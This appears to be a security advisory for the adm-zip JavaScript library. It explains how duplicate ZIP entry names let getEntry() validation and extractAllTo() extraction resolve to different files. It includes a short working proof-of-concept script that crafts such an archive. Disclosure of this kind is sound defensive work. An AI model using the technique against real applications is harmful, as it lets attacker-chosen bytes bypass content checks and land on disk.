GHSA-p634-w6r4-rjp2: 
JavaScript vulnerability analysis and mitigation

Summary

A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. getEntry(name) and extractAllTo() walk these two different internal structures, so they can each resolve a duplicate name to a different entry. An application that validates a named entry's contents via getEntry() before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name.

Details

• zipFile.js:58-83 retains both entries in entryList but overwrites entryTable[name] with only the last one written.
• adm-zip.js:83-95,658-663 uses entryTable for getEntry() lookups — returns the last duplicate.
• adm-zip.js:769-914 iterates entryList for extraction — writes the first duplicate (sync, default overwrite policy).

PoC

const AdmZip = require('adm-zip');
const z = new AdmZip({ noSort: true });
z.addFile('a.txt', Buffer.from('FIRST'));
z.addFile('b.txt', Buffer.from('SECOND'));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) {
  raw.write('b.txt', at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry('b.txt').getData().toString();
parsed.extractAllTo(outDir, false);
// validated === "SECOND", but the file written to disk === "FIRST"

Reproduced on the pinned commit (2b4d84087d45344643e0183756e19191d52815cc)

Impact

An application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on.